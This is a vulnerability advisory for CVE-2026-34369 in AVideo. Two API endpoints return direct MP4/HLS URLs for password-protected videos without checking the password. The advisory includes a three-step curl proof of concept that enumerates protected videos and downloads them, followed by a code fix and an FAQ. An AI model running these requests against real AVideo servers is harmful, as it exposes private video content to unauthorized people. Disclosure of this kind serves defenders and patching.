CVE-2026-34369: AVIdeo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification
Summary
The getapivideofile and getapivideo API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.
Details
The video password protection is enforced in the web UI via CustomizeUser::getModeYouTube() (plugin/CustomizeUser/CustomizeUser.php:787), which calls videoPasswordIsGood() before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.
Vulnerable endpoint 1 — getapivideofile (plugin/API/API.php:986-1004):
php public function getapivideofile($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videosid = $parameters['videosid']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videosid)) { return new ApiObject("You cannot watch this video"); } } $video = new Video('', '', $obj->videosid); $obj->filename = $video->getFilename(); // ... $obj->videofile = Video::getHigherVideoPathFromID($obj->videosid); $obj->sources = getSources($obj->filename, true); return new ApiObject("", false, $obj); }
The only access check is User::canWatchVideoWithAds() (objects/user.php:1102-1159), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does not check videopassword. Password-protected videos have status 'a' (active), which passes all checks.
Vulnerable endpoint 2 — getapivideo (plugin/API/API.php:1635-1810):
This endpoint returns video metadata including full videos paths (line 1759) and sources arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.
The intended password check exists but is never called from these endpoints:
Video::verifyVideoPassword() (objects/video.php:543-553) is the proper password verification function, and getapivideopasswordiscorrect exists as a separate API endpoint — proving password verification was intended as an access control. But neither getapivideofile nor getapivideo invoke any password check.
PoC
bash Step 1: Identify a password-protected video via the video list API curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \ python3 -c " import json, sys data = json.load(sys.stdin) for v in data.get('response',{}).get('rows',[]): if v.get('videopassword'): print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES') print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')"
Step 2: Retrieve full playback sources for the password-protected video curl -s 'https://target.com/plugin/API/get.json.php?APIName=videofile&videosid=<PROTECTEDVIDEOID>'
Expected: access denied or password prompt Actual: full response with direct MP4/HLS URLs: {"error":false,"response":{"videosid":"123","filename":"videoabc", "videofile":"https://target.com/videos/videoabc/videoabcHD.mp4", "sources":[{"src":"https://target.com/videos/videoabc/videoabcHD.mp4","type":"video/mp4"}]}}
Step 3: Download the protected video directly curl -O 'https://target.com/videos/videoabc/videoabcHD.mp4'
Impact
Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The getapivideo endpoint additionally exposes which videos are password-protected (via the videopassword field set to '1'), allowing targeted enumeration. This renders the videopassword feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.
Recommended Fix
Add password verification to both API endpoints before returning video sources. In plugin/API/API.php:
php public function getapivideofile($parameters) { global $global; $obj = $this->startResponseObject($parameters); $obj->videosid = $parameters['videosid']; if (!self::isAPISecretValid()) { if (!User::canWatchVideoWithAds($obj->videosid)) { return new ApiObject("You cannot watch this video"); } // Check video password protection $video = new Video('', '', $obj->videosid); $storedPassword = $video->getVideopassword(); if (!empty($storedPassword)) { $providedPassword = @$parameters['videopassword']; if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) { return new ApiObject("Video password required", true); } } } // ... rest of function }
Apply the same check in getapivideo() before populating the videos and sources fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix getapivideopasswordiscorrect to use Video::verifyVideoPassword() instead of direct == comparison (line 1126), which currently fails for bcrypt hashes.
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the getapivideofile and getapivideo API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the CustomizeUser::getModeYouTube() hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly. Commit be344206f2f461c034ad2f1c5d8212dd8a52b8c7 fixes the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-34369?
CVE-2026-34369 is classified as a high severity vulnerability due to the bypass of password protection on video files.
How do I fix CVE-2026-34369?
To fix CVE-2026-34369, update AVideo to the latest version that addresses this vulnerability.
What type of vulnerability is CVE-2026-34369?
CVE-2026-34369 is a vulnerability that allows unauthorized access to password-protected video content via insecure API endpoints.
Which versions of AVideo are affected by CVE-2026-34369?
CVE-2026-34369 affects AVideo versions up to and including 26.0.
What impact does CVE-2026-34369 have on users?
CVE-2026-34369 could result in unauthorized users being able to access sensitive video content without proper authentication.